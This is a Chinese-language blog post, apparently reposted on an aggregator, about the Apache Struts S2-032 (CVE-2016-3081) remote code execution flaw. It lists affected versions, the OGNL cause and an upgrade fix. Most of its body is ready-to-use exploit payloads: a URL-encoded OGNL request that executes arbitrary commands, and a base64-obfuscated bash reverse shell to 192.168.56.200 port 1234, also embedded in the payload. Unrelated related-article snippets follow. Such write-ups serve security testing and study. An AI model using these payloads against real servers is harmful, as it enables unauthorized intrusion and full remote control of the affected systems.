首页 > 其他分享 >S2-032 CVE-2016-3081 远程代码执行

S2-032 CVE-2016-3081 远程代码执行

时间:2023-01-05 09:56:52浏览次数:56  
标签:20 3d% S2 23parameters 5B0% 代码执行 2.3 5D 2016

漏洞名称

CVE-2016-3081 S2-032 远程代码执行

利用条件

Struts 2.3.20 - Struts Struts 2.3.28 ( 2.3.20.3 和 2.3.24.3 除外)

漏洞原理

当启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。
method:<name> Action 前缀去调用声明为 public 的函数,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL 计算,而在高版本中会执行。

漏洞利用

命令执行

method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

反弹shell

bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

在线URLEncode编码,URLDecode解码工具 - UU在线工具 (uutool.cn)

将反弹shellurl编码后使用

method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=bash%20-c%20%7Becho%2CL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D


修复建议

升级到 Struts 2.3.20.3、2.3.24.3 和 2.3.28.1 时不会出现问题

参考文章

标签:20,3d%,S2,23parameters,5B0%,代码执行,2.3,5D,2016
From: https://www.cnblogs.com/crayonxiaoxin/p/17025582.html

相关文章

  • S2 - Lesson 13 - the Greenwood boys
    Words groupagroupofagroupofstudents popsinger clubafootballclub occasion   Content ThegreenwoodboysTheGreenwoodBoysareag......
  • S2 - Lesson 12 - Goodbye and good luck
    Words luckgoodlucklucky luckily sailsailacrosstheAtlantic sailorsailinggosailing harborharbourattheharbour colorcolour proud......
  • S2 - Lesson 11 - One good turn deserves another
    Wordsturnmyturnhadcomeyouturnturnrightherfaceturnedred deserve[应得的,值得]reserve[预定,预留]Heworkedreallyhard,andhedeservedthepromo......
  • S2-016 CVE-2013-2251
    漏洞名称S2-016(CVE-2013-2251)通过操作前缀为“action:”/“redirect:”/“redirectAction:”的参数引入的漏洞允许远程命令执行利用条件Struts2.0.0–Struts2.3.15......
  • 迅为LS2K0500开发板全国产处理器LoongArch架构主板
    2K0500芯片实现ACPI、DVFS/DPM动态电源功耗管理等低功耗技术支持,多种电源级别和唤醒方式,可根据具体应用场景对芯片部分功能和高速接口,进行动态始终、电源开关控制,满足工控、......
  • VS2022中ArcGIS Pro SDK for .NET安装和卸载指南
    VS2022中ArcGISProSDKfor.NET安装和卸载指南   安裝ArcGISProSDKfor.NET   升级ArcGISProSDKfor.NET   卸载ArcGISProSDKfor.NET   使......
  • 《安富莱嵌入式周报》第294期:将C/C++代码转换为各种高级语言,超炫渲染着色器,VS2022新闻
    ​​​​更新视频教程:USB应用实战视频教程第5期:手把手玩转USBHID免驱方式下位机和QT6.4上位机开发上篇视频版:​​https://www.bilibili.com/video/BV1MK41197wC​​1、将C/......
  • Windows下用VS2022编译安装Boost库
    Windows下用VS2022编译安装Boost库下载地址:https://www.boost.org/users/download/解压得到如下文件:  编译安装:打开vs2022命令行工具  切换到boost的目......
  • Less20
    Less20Cookie注入,测试需要在登录前提下操作Cooike了解(1)对账号和密码进行注入,发现没有回显,认为账号密码存在着强过滤1'OR1=1--+1')OR1=1--+1'))OR1=......
  • pwn | ez_pz_hackover_2016
    pwn|ez_pz_hackover_2016x86checksec:基本上逻辑是这样的:漏洞函数是一个栈溢出:这里有一个坑,传进vul函数的是input字符串的地址的地址,不是input字符串的地址,所以m......